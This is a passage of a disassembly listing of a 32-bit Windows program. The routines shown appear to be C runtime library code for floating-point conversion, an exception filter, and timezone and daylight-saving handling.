; Attributes: bp-based frame


sub_424203	proc near		; CODE XREF: sub_424290+C0p
					; sub_424290+DAp ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	edi, [ebp+arg_0]
		pop	ebx
		or	esi, 0FFFFFFFFh
		cdq
		mov	ecx, ebx
		mov	[ebp+var_4], 3
		idiv	ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_4]
		cdq
		idiv	ecx
		and	[ebp+arg_4], 0
		mov	ecx, edx
		shl	esi, cl
		sub	ebx, edx
		not	esi


loc_424239:				; CODE XREF: sub_424203+58j
		mov	eax, [edi]
		mov	ecx, eax
		and	ecx, esi
		mov	[ebp+var_8], ecx
		mov	ecx, edx
		shr	eax, cl
		or	eax, [ebp+arg_4]
		mov	[edi], eax
		mov	eax, [ebp+var_8]
		mov	ecx, ebx
		add	edi, 4
		shl	eax, cl
		dec	[ebp+var_4]
		mov	[ebp+arg_4], eax
		jnz	short loc_424239
		mov	edi, [ebp+var_C]
		push	2
		pop	ebx
		mov	esi, edi
		push	8
		pop	ecx
		shl	esi, 2


loc_42426B:				; CODE XREF: sub_424203+86j
		cmp	ebx, edi
		jl	short loc_42427E
		mov	edx, [ebp+arg_0]
		mov	eax, ecx
		sub	eax, esi
		mov	eax, [eax+edx]
		mov	[ecx+edx], eax
		jmp	short loc_424285
; ---------------------------------------------------------------------------


loc_42427E:				; CODE XREF: sub_424203+6Aj
		mov	eax, [ebp+arg_0]
		and	dword ptr [ecx+eax], 0


loc_424285:				; CODE XREF: sub_424203+79j
		dec	ebx
		sub	ecx, 4
		jns	short loc_42426B
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_424203	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424290	proc near		; CODE XREF: sub_4243FC+Dp
					; sub_424412+Dp

var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		movzx	ecx, word ptr [eax+0Ah]
		mov	ebx, ecx
		and	ecx, 8000h
		mov	[ebp+arg_0], ecx
		mov	ecx, [eax+6]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+2]
		movzx	eax, word ptr [eax]
		mov	edi, [ebp+arg_8]
		and	ebx, 7FFFh
		sub	ebx, 3FFFh
		mov	[ebp+var_8], ecx
		shl	eax, 10h
		cmp	ebx, 0FFFFC001h
		mov	[ebp+var_4], eax
		jnz	short loc_4242FD
		lea	eax, [ebp+var_C]
		xor	esi, esi
		push	eax
		call	sub_4241E8
		test	eax, eax
		pop	ecx
		jnz	loc_4243BC
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4241DC
		pop	ecx


loc_4242F5:				; CODE XREF: sub_424290+E4j
		push	2


loc_4242F7:				; CODE XREF: sub_424290+110j
		pop	eax
		jmp	loc_4243BE
; ---------------------------------------------------------------------------


loc_4242FD:				; CODE XREF: sub_424290+45j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_4241C1
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424135
		add	esp, 10h
		test	eax, eax
		jz	short loc_42431E
		inc	ebx


loc_42431E:				; CODE XREF: sub_424290+8Bj
		mov	eax, [edi+4]
		mov	ecx, eax
		sub	ecx, [edi+8]
		cmp	ebx, ecx
		jge	short loc_424336
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4241DC
		pop	ecx
		jmp	short loc_424372
; ---------------------------------------------------------------------------


loc_424336:				; CODE XREF: sub_424290+98j
		cmp	ebx, eax
		jg	short loc_424379
		sub	eax, ebx
		mov	esi, eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4241C1
		lea	eax, [ebp+var_C]
		push	esi
		push	eax
		call	sub_424203
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424135
		mov	eax, [edi+0Ch]
		inc	eax
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424203
		add	esp, 20h


loc_424372:				; CODE XREF: sub_424290+A4j
		xor	esi, esi
		jmp	loc_4242F5
; ---------------------------------------------------------------------------


loc_424379:				; CODE XREF: sub_424290+A8j
		cmp	ebx, [edi]
		jl	short loc_4243A5
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4241DC
		push	dword ptr [edi+0Ch]
		or	byte ptr [ebp+var_C+3],	80h
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424203
		mov	esi, [edi+14h]
		add	esp, 0Ch
		add	esi, [edi]
		push	1
		jmp	loc_4242F7
; ---------------------------------------------------------------------------


loc_4243A5:				; CODE XREF: sub_424290+EBj
		push	dword ptr [edi+0Ch]
		mov	esi, [edi+14h]
		and	byte ptr [ebp+var_C+3],	7Fh
		lea	eax, [ebp+var_C]
		push	eax
		add	esi, ebx
		call	sub_424203
		pop	ecx
		pop	ecx


loc_4243BC:				; CODE XREF: sub_424290+55j
		xor	eax, eax


loc_4243BE:				; CODE XREF: sub_424290+68j
		push	1Fh
		pop	ecx
		sub	ecx, [edi+0Ch]
		mov	edi, [edi+10h]
		shl	esi, cl
		mov	ecx, [ebp+arg_0]
		neg	ecx
		sbb	ecx, ecx
		and	ecx, 80000000h
		or	esi, ecx
		or	esi, [ebp+var_C]
		cmp	edi, 40h
		jnz	short loc_4243ED
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_8]
		mov	[ecx+4], esi
		mov	[ecx], edx
		jmp	short loc_4243F7
; ---------------------------------------------------------------------------


loc_4243ED:				; CODE XREF: sub_424290+14Ej
		cmp	edi, 20h
		jnz	short loc_4243F7
		mov	ecx, [ebp+arg_4]
		mov	[ecx], esi


loc_4243F7:				; CODE XREF: sub_424290+15Bj
					; sub_424290+160j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_424290	endp


; =============== S U B	R O U T	I N E =======================================



sub_4243FC	proc near		; CODE XREF: sub_424428+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_43B008
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_424290
		add	esp, 0Ch
		retn
sub_4243FC	endp


; =============== S U B	R O U T	I N E =======================================



sub_424412	proc near		; CODE XREF: sub_424455+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_43B020
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_424290
		add	esp, 0Ch
		retn
sub_424412	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424428	proc near		; CODE XREF: sub_4218D0+12p

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4250CD
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4243FC
		add	esp, 24h
		leave
		retn
sub_424428	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424455	proc near		; CODE XREF: sub_4218D0+2Dp

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4250CD
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424412
		add	esp, 24h
		leave
		retn
sub_424455	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424482	proc near		; CODE XREF: sub_42190E+65p
					; sub_421A12+63p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ecx, [edx+0Ch]
		push	edi
		lea	edi, [esi+1]
		mov	byte ptr [esi],	30h
		test	ebx, ebx
		mov	eax, edi
		jle	short loc_4244BF
		mov	[ebp+arg_0], ebx
		xor	ebx, ebx


loc_4244A5:				; CODE XREF: sub_424482+38j
		mov	dl, [ecx]
		test	dl, dl
		jz	short loc_4244B1
		movsx	edx, dl
		inc	ecx
		jmp	short loc_4244B4
; ---------------------------------------------------------------------------


loc_4244B1:				; CODE XREF: sub_424482+27j
		push	30h
		pop	edx


loc_4244B4:				; CODE XREF: sub_424482+2Dj
		mov	[eax], dl
		inc	eax
		dec	[ebp+arg_0]
		jnz	short loc_4244A5
		mov	edx, [ebp+arg_8]


loc_4244BF:				; CODE XREF: sub_424482+1Cj
		and	byte ptr [eax],	0
		test	ebx, ebx
		jl	short loc_4244D8
		cmp	byte ptr [ecx],	35h
		jl	short loc_4244D8


loc_4244CB:				; CODE XREF: sub_424482+52j
		dec	eax
		cmp	byte ptr [eax],	39h
		jnz	short loc_4244D6
		mov	byte ptr [eax],	30h
		jmp	short loc_4244CB
; ---------------------------------------------------------------------------


loc_4244D6:				; CODE XREF: sub_424482+4Dj
		inc	byte ptr [eax]


loc_4244D8:				; CODE XREF: sub_424482+42j
					; sub_424482+47j
		cmp	byte ptr [esi],	31h
		jnz	short loc_4244E2
		inc	dword ptr [edx+4]
		jmp	short loc_4244F4
; ---------------------------------------------------------------------------


loc_4244E2:				; CODE XREF: sub_424482+59j
		push	edi
		call	sub_41B960
		inc	eax
		push	eax
		push	edi
		push	esi
		call	sub_41D400
		add	esp, 10h


loc_4244F4:				; CODE XREF: sub_424482+5Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_424482	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4244F9	proc near		; CODE XREF: sub_42190E+3Fp
					; sub_421A12+46p ...

var_C		= byte ptr -0Ch
arg_0		= byte ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		lea	eax, [ebp+arg_0]
		push	edi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_42455D
		pop	ecx
		lea	esi, [ebp+var_C]
		pop	ecx
		push	offset word_4D9908
		push	0
		push	11h
		sub	esp, 0Ch
		mov	edi, esp
		movsd
		movsd
		movsw
		call	sub_42559E
		mov	dword_4D9930, eax
		add	esp, 18h
		movsx	eax, byte_4D990A
		mov	dword_4D9928, eax
		pop	edi
		movsx	eax, word_4D9908
		mov	dword_4D992C, eax
		mov	dword_4D9934, offset dword_4D990C
		mov	eax, offset dword_4D9928
		pop	esi
		leave
		retn
sub_4244F9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42455D	proc near		; CODE XREF: sub_4244F9+10p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		mov	ax, [edx+6]
		mov	edi, 7FFh
		mov	ecx, eax
		and	eax, 8000h
		shr	ecx, 4
		and	ecx, edi
		mov	[ebp+arg_4], eax
		mov	eax, [edx+4]
		mov	edx, [edx]
		movzx	ebx, cx
		mov	esi, 80000000h
		and	eax, 0FFFFFh
		test	ebx, ebx
		mov	[ebp+var_4], esi
		jz	short loc_4245AB
		cmp	ebx, edi
		jz	short loc_4245A4
		lea	edi, [ecx+3C00h]
		jmp	short loc_4245CC
; ---------------------------------------------------------------------------


loc_4245A4:				; CODE XREF: sub_42455D+3Dj
		mov	edi, 7FFFh
		jmp	short loc_4245CC
; ---------------------------------------------------------------------------


loc_4245AB:				; CODE XREF: sub_42455D+39j
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_4245C3
		cmp	edx, ebx
		jnz	short loc_4245C3
		mov	eax, [ebp+arg_0]
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], bx
		jmp	short loc_42460E
; ---------------------------------------------------------------------------


loc_4245C3:				; CODE XREF: sub_42455D+52j
					; sub_42455D+56j
		lea	edi, [ecx+3C01h]
		mov	[ebp+var_4], ebx


loc_4245CC:				; CODE XREF: sub_42455D+45j
					; sub_42455D+4Cj
		mov	ecx, edx
		shr	ecx, 15h
		shl	eax, 0Bh
		or	ecx, eax
		mov	eax, [ebp+arg_0]
		or	ecx, [ebp+var_4]
		shl	edx, 0Bh
		mov	[eax+4], ecx
		mov	[eax], edx


loc_4245E4:				; CODE XREF: sub_42455D+A6j
		test	ecx, esi
		jnz	short loc_424605
		mov	edx, [eax]
		add	ecx, ecx
		mov	ebx, edx
		shr	ebx, 1Fh
		or	ebx, ecx
		lea	ecx, [edx+edx]
		mov	[eax], ecx
		mov	[eax+4], ebx
		add	edi, 0FFFFh
		mov	ecx, ebx
		jmp	short loc_4245E4
; ---------------------------------------------------------------------------


loc_424605:				; CODE XREF: sub_42455D+89j
		mov	ecx, [ebp+arg_4]
		or	ecx, edi
		mov	[eax+8], cx


loc_42460E:				; CODE XREF: sub_42455D+64j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42455D	endp

; ---------------------------------------------------------------------------
		push	2
		call	sub_41E1C9
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================



sub_42461C	proc near		; DATA XREF: ___:0043AC40o
					; ___:0043B4A8o

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_42463F
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_42463F
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_42463F
		jmp	sub_42249C
; ---------------------------------------------------------------------------


loc_42463F:				; CODE XREF: sub_42461C+Dj
					; sub_42461C+13j ...
		mov	eax, dword_4D9938
		test	eax, eax
		jz	short loc_42465C
		push	eax
		call	sub_4246B8
		test	eax, eax
		pop	ecx
		jz	short loc_42465C
		push	esi
		call	dword_4D9938
		jmp	short loc_42465E
; ---------------------------------------------------------------------------


loc_42465C:				; CODE XREF: sub_42461C+2Aj
					; sub_42461C+35j
		xor	eax, eax


loc_42465E:				; CODE XREF: sub_42461C+3Ej
		pop	esi
		retn	4
sub_42461C	endp

; ---------------------------------------------------------------------------
word_424662	dw 1C68h		; DATA XREF: ___:00429028o
; ---------------------------------------------------------------------------
		inc	esi
		inc	edx
		add	[eax+1DBE99E8h], dl
		add	ah, byte ptr dword_4D9938[ebx]
		retn
; ---------------------------------------------------------------------------
byte_424673	db 0FFh			; DATA XREF: ___:00429040o
		dd 4D993835h, 87E89000h, 0C3021DBEh

; =============== S U B	R O U T	I N E =======================================



sub_424680	proc near		; CODE XREF: sub_421CE6+6Bp
					; sub_4221F7+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	near ptr 2600000h
		nop
		test	eax, eax
		jz	short loc_424698
		xor	esi, esi


loc_424698:				; CODE XREF: sub_424680+14j
		mov	eax, esi
		pop	esi
		retn
sub_424680	endp


; =============== S U B	R O U T	I N E =======================================



sub_42469C	proc near		; CODE XREF: sub_4221F7+73p
					; sub_4221F7+BFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		nop
		call	near ptr 265071Ah
		test	eax, eax
		jz	short loc_4246B4
		xor	esi, esi


loc_4246B4:				; CODE XREF: sub_42469C+14j
		mov	eax, esi
		pop	esi
		retn
sub_42469C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4246B8	proc near		; CODE XREF: sub_4221F7+15Bp
					; sub_42461C+2Dp

arg_0		= dword	ptr  4

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_0]
		call	near ptr 25F0AEDh
		nop
		test	eax, eax
		jz	short loc_4246CC
		xor	esi, esi


loc_4246CC:				; CODE XREF: sub_4246B8+10j
		mov	eax, esi
		pop	esi
		retn
sub_4246B8	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42249C


loc_4246D0:				; CODE XREF: sub_42249C:loc_4224EDj
		push	0Ah
		call	sub_4234D1
		push	16h
		call	sub_425831
		pop	ecx
		pop	ecx
		push	3
		call	sub_41BF42
; END OF FUNCTION CHUNK	FOR sub_42249C

; =============== S U B	R O U T	I N E =======================================



sub_4246E7	proc near		; CODE XREF: sub_422571:loc_4225B0p
		cmp	dword_4D99F8, 0
		jnz	short locret_4246FB
		call	sub_4246FC
		inc	dword_4D99F8

locret_4246FB:				; CODE XREF: sub_4246E7+7j
		retn
sub_4246E7	endp


; =============== S U B	R O U T	I N E =======================================



sub_4246FC	proc near		; CODE XREF: sub_4246E7+9p

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		push	edi
		xor	ebp, ebp
		or	ebx, 0FFFFFFFFh
		push	offset aTz	; "TZ"
		xor	edi, edi
		mov	dword_4D9940, ebp
		mov	dword_43B0E0, ebx
		mov	dword_43B0D0, ebx
		call	sub_4259A3
		mov	esi, eax
		pop	ecx
		cmp	esi, ebp
		jnz	loc_424825
		push	offset dword_4D9948
		call	near ptr 2880000h
		nop
		cmp	eax, ebx
		jz	loc_424954
		mov	eax, dword_4D9948
		mov	ecx, dword_4D999C
		imul	eax, 3Ch
		cmp	word_4D998E, bp
		push	1
		pop	edx
		mov	dword_43B038, eax
		mov	dword_4D9940, edx
		jz	short loc_424773
		mov	esi, ecx
		imul	esi, 3Ch
		add	eax, esi
		mov	dword_43B038, eax


loc_424773:				; CODE XREF: sub_4246FC+69j
		cmp	word_4D99E2, bp
		jz	short loc_424797
		mov	eax, dword_4D99F0
		cmp	eax, ebp
		jz	short loc_424797
		sub	eax, ecx
		mov	dword_43B03C, edx
		imul	eax, 3Ch
		mov	dword_43B040, eax
		jmp	short loc_4247A3
; ---------------------------------------------------------------------------


loc_424797:				; CODE XREF: sub_4246FC+7Ej
					; sub_4246FC+87j
		mov	dword_43B03C, ebp
		mov	dword_43B040, ebp


loc_4247A3:				; CODE XREF: sub_4246FC+99j
		lea	eax, [esp+14h+var_4]
		mov	esi, dword_427194
		push	eax
		push	ebp
		push	3Fh
		mov	edi, 220h
		push	off_43B0C4
		push	ebx
		push	offset dword_4D994C
		push	edi
		push	dword_4D97E0
		call	esi
		test	eax, eax
		jz	short loc_4247E0
		cmp	[esp+14h+var_4], ebp
		jnz	short loc_4247E0
		mov	eax, off_43B0C4
		and	byte ptr [eax+3Fh], 0
		jmp	short loc_4247E8
; ---------------------------------------------------------------------------


loc_4247E0:				; CODE XREF: sub_4246FC+D1j
					; sub_4246FC+D7j
		mov	eax, off_43B0C4
		and	byte ptr [eax],	0


loc_4247E8:				; CODE XREF: sub_4246FC+E2j
		lea	eax, [esp+14h+var_4]
		push	eax
		push	ebp
		push	3Fh
		push	off_43B0C8
		push	ebx
		push	offset dword_4D99A0
		push	edi
		push	dword_4D97E0
		call	esi
		test	eax, eax
		jz	loc_42494C
		cmp	[esp+14h+var_4], ebp
		jnz	loc_42494C
		mov	eax, off_43B0C8
		and	byte ptr [eax+3Fh], 0
		jmp	loc_424954
; ---------------------------------------------------------------------------


loc_424825:				; CODE XREF: sub_4246FC+2Dj
		cmp	byte ptr [esi],	0
		jz	loc_424954
		mov	eax, dword_4D99F4
		cmp	eax, ebp
		jz	short loc_424848
		push	eax
		push	esi
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_424954


loc_424848:				; CODE XREF: sub_4246FC+139j
		push	dword_4D99F4
		call	sub_41BA31
		push	esi
		call	sub_41B960
		inc	eax
		push	eax
		call	sub_41BC9B
		add	esp, 0Ch
		cmp	eax, ebp
		mov	dword_4D99F4, eax
		jz	loc_424954
		push	esi
		push	eax
		call	sub_41C620
		push	3
		push	esi
		push	off_43B0C4
		call	sub_41BD70
		mov	eax, off_43B0C4
		add	esi, 3
		add	esp, 14h
		and	byte ptr [eax+3], 0
		cmp	byte ptr [esi],	2Dh
		jnz	short loc_42489D
		push	1
		inc	esi
		pop	edi


loc_42489D:				; CODE XREF: sub_4246FC+19Bj
		push	esi
		call	sub_41BE6E
		pop	ecx
		mov	bl, 30h
		mov	ecx, eax
		imul	ecx, 0E10h
		mov	dword_43B038, ecx


loc_4248B4:				; CODE XREF: sub_4246FC+1C7j
		mov	al, [esi]
		cmp	al, 2Bh
		jz	short loc_4248C2
		cmp	al, bl
		jl	short loc_4248C5
		cmp	al, 39h
		jg	short loc_4248C5


loc_4248C2:				; CODE XREF: sub_4246FC+1BCj
		inc	esi
		jmp	short loc_4248B4
; ---------------------------------------------------------------------------


loc_4248C5:				; CODE XREF: sub_4246FC+1C0j
					; sub_4246FC+1C4j
		cmp	byte ptr [esi],	3Ah
		jnz	short loc_424918
		inc	esi
		push	esi
		call	sub_41BE6E
		imul	eax, 3Ch
		pop	ecx
		mov	ecx, dword_43B038
		add	ecx, eax
		mov	dword_43B038, ecx


loc_4248E3:				; CODE XREF: sub_4246FC+1F2j
		mov	al, [esi]
		cmp	al, bl
		jl	short loc_4248F0
		cmp	al, 39h
		jg	short loc_4248F0
		inc	esi
		jmp	short loc_4248E3
; ---------------------------------------------------------------------------


loc_4248F0:				; CODE XREF: sub_4246FC+1EBj
					; sub_4246FC+1EFj
		cmp	byte ptr [esi],	3Ah
		jnz	short loc_424918
		inc	esi
		push	esi
		call	sub_41BE6E
		pop	ecx
		mov	ecx, dword_43B038
		add	ecx, eax
		mov	dword_43B038, ecx


loc_42490B:				; CODE XREF: sub_4246FC+21Aj
		mov	al, [esi]
		cmp	al, bl
		jl	short loc_424918
		cmp	al, 39h
		jg	short loc_424918
		inc	esi
		jmp	short loc_42490B
; ---------------------------------------------------------------------------


loc_424918:				; CODE XREF: sub_4246FC+1CCj
					; sub_4246FC+1F7j ...
		cmp	edi, ebp
		jz	short loc_424924
		neg	ecx
		mov	dword_43B038, ecx


loc_424924:				; CODE XREF: sub_4246FC+21Ej
		movsx	eax, byte ptr [esi]
		cmp	eax, ebp
		mov	dword_43B03C, eax
		jz	short loc_42494C
		push	3
		push	esi
		push	off_43B0C8
		call	sub_41BD70
		mov	eax, off_43B0C8
		add	esp, 0Ch
		and	byte ptr [eax+3], 0
		jmp	short loc_424954
; ---------------------------------------------------------------------------


loc_42494C:				; CODE XREF: sub_4246FC+10Bj
					; sub_4246FC+115j ...
		mov	eax, off_43B0C8
		and	byte ptr [eax],	0


loc_424954:				; CODE XREF: sub_4246FC+40j
					; sub_4246FC+124j ...
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
sub_4246FC	endp


; =============== S U B	R O U T	I N E =======================================



sub_42495A	proc near		; CODE XREF: sub_422571+A5p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	dword_43B03C, edi
		jnz	short loc_42496E


loc_424967:				; CODE XREF: sub_42495A+148j
					; sub_42495A+150j ...
		xor	eax, eax
		jmp	loc_424ABA
; ---------------------------------------------------------------------------


loc_42496E:				; CODE XREF: sub_42495A+Bj
		mov	esi, [esp+0Ch+arg_0]
		push	1
		pop	ebx
		mov	eax, [esi+14h]
		cmp	eax, dword_43B0D0
		jnz	short loc_42498C
		cmp	eax, dword_43B0E0
		jz	loc_424A8E


loc_42498C:				; CODE XREF: sub_42495A+24j
		cmp	dword_4D9940, edi
		jz	loc_424A64
		movzx	ecx, word_4D99EE
		push	ecx
		cmp	word_4D99E0, di
		movzx	ecx, word_4D99EC
		push	ecx
		movzx	ecx, word_4D99EA
		push	ecx
		movzx	ecx, word_4D99E8
		push	ecx
		jnz	short loc_4249DE
		movzx	ecx, word_4D99E4
		push	edi
		push	ecx
		movzx	ecx, word_4D99E6
		push	ecx
		movzx	ecx, word_4D99E2
		push	ecx
		push	eax
		push	ebx
		jmp	short loc_4249F2
; ---------------------------------------------------------------------------


loc_4249DE:				; CODE XREF: sub_42495A+65j
		movzx	ecx, word_4D99E6
		push	ecx
		push	edi
		movzx	ecx, word_4D99E2
		push	edi
		push	ecx
		push	eax
		push	edi


loc_4249F2:				; CODE XREF: sub_42495A+82j
		push	ebx
		call	sub_424B06
		movzx	eax, word_4D999A
		add	esp, 2Ch
		cmp	word_4D998C, di
		push	eax
		movzx	eax, word_4D9998
		push	eax
		movzx	eax, word_4D9996
		push	eax
		movzx	eax, word_4D9994
		push	eax
		jnz	short loc_424A4C
		movzx	eax, word_4D9990
		push	edi
		push	eax
		movzx	eax, word_4D9992
		push	eax
		movzx	eax, word_4D998E
		push	eax
		push	dword ptr [esi+14h]
		push	ebx


loc_424A41:				; CODE XREF: sub_42495A+108j
		push	edi
		call	sub_424B06
		add	esp, 2Ch
		jmp	short loc_424A8E
; ---------------------------------------------------------------------------


loc_424A4C:				; CODE XREF: sub_42495A+C8j
		movzx	eax, word_4D9992
		push	eax
		push	edi
		movzx	eax, word_4D998E
		push	edi
		push	eax
		push	dword ptr [esi+14h]
		push	edi
		jmp	short loc_424A41
; ---------------------------------------------------------------------------


loc_424A64:				; CODE XREF: sub_42495A+38j
		push	edi
		push	edi
		push	edi
		push	2
		push	edi
		push	edi
		push	ebx
		push	4
		push	eax
		push	ebx
		push	ebx
		call	sub_424B06
		push	edi
		push	edi
		push	edi
		push	2
		push	edi
		push	edi
		push	5
		push	0Ah
		push	dword ptr [esi+14h]
		push	ebx
		push	edi
		call	sub_424B06
		add	esp, 58h


loc_424A8E:				; CODE XREF: sub_42495A+2Cj
					; sub_42495A+F0j
		mov	edx, dword_43B0D4
		mov	eax, dword_43B0E4
		mov	ecx, [esi+1Ch]
		cmp	edx, eax
		jge	short loc_424ABE
		cmp	ecx, edx
		jl	loc_424967
		cmp	ecx, eax
		jg	loc_424967
		cmp	ecx, edx
		jle	short loc_424AD2
		cmp	ecx, eax
		jge	short loc_424AD2


loc_424AB8:				; CODE XREF: sub_42495A+166j
					; sub_42495A+16Aj
		mov	eax, ebx


loc_424ABA:				; CODE XREF: sub_42495A+Fj
					; sub_42495A+19Dj
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_424ABE:				; CODE XREF: sub_42495A+144j
		cmp	ecx, eax
		jl	short loc_424AB8
		cmp	ecx, edx
		jg	short loc_424AB8
		cmp	ecx, eax
		jle	short loc_424AD2
		cmp	ecx, edx
		jl	loc_424967


loc_424AD2:				; CODE XREF: sub_42495A+158j
					; sub_42495A+15Cj ...
		mov	eax, [esi+8]
		imul	eax, 3Ch
		add	eax, [esi+4]
		imul	eax, 3Ch
		add	eax, [esi]
		imul	eax, 3E8h
		cmp	ecx, edx
		jnz	short loc_424AF9
		xor	ecx, ecx
		cmp	eax, dword_43B0D8
		setnl	cl


loc_424AF5:				; CODE XREF: sub_42495A+1AAj
		mov	eax, ecx
		jmp	short loc_424ABA
; ---------------------------------------------------------------------------


loc_424AF9:				; CODE XREF: sub_42495A+18Ej
		xor	ecx, ecx
		cmp	eax, dword_43B0E8
		setl	cl
		jmp	short loc_424AF5
sub_42495A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424B06	proc near		; CODE XREF: sub_42495A+99p
					; sub_42495A+E8p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 1
		push	ebx
		mov	ebx, [ebp+arg_8]
		push	esi
		jnz	loc_424BA1
		mov	eax, [ebp+arg_C]
		mov	[ebp+arg_8], ebx
		and	[ebp+arg_8], 3
		mov	esi, eax
		jnz	short loc_424B31
		shl	esi, 2
		mov	eax, dword_43B0E8[esi]
		jmp	short loc_424B3A
; ---------------------------------------------------------------------------


loc_424B31:				; CODE XREF: sub_424B06+1Ej
		shl	esi, 2
		mov	eax, dword_43B11C[esi]


loc_424B3A:				; CODE XREF: sub_424B06+29j
		mov	edx, ebx
		lea	ecx, [eax+1]
		imul	edx, 16Dh
		lea	eax, [ebx-1]
		push	edi
		sar	eax, 2
		mov	edi, ecx
		push	7
		add	edi, eax
		lea	eax, [edx+edi-63DBh]
		pop	edi
		cdq
		idiv	edi
		mov	eax, [ebp+arg_10]
		pop	edi
		cmp	edx, [ebp+arg_14]
		jge	short loc_424B74
		imul	eax, 7
		sub	eax, edx
		add	eax, [ebp+arg_14]
		lea	ecx, [ecx+eax-7]
		jmp	short loc_424B7E
; ---------------------------------------------------------------------------


loc_424B74:				; CODE XREF: sub_424B06+5Ej
		imul	eax, 7
		sub	eax, edx
		add	eax, [ebp+arg_14]
		add	ecx, eax


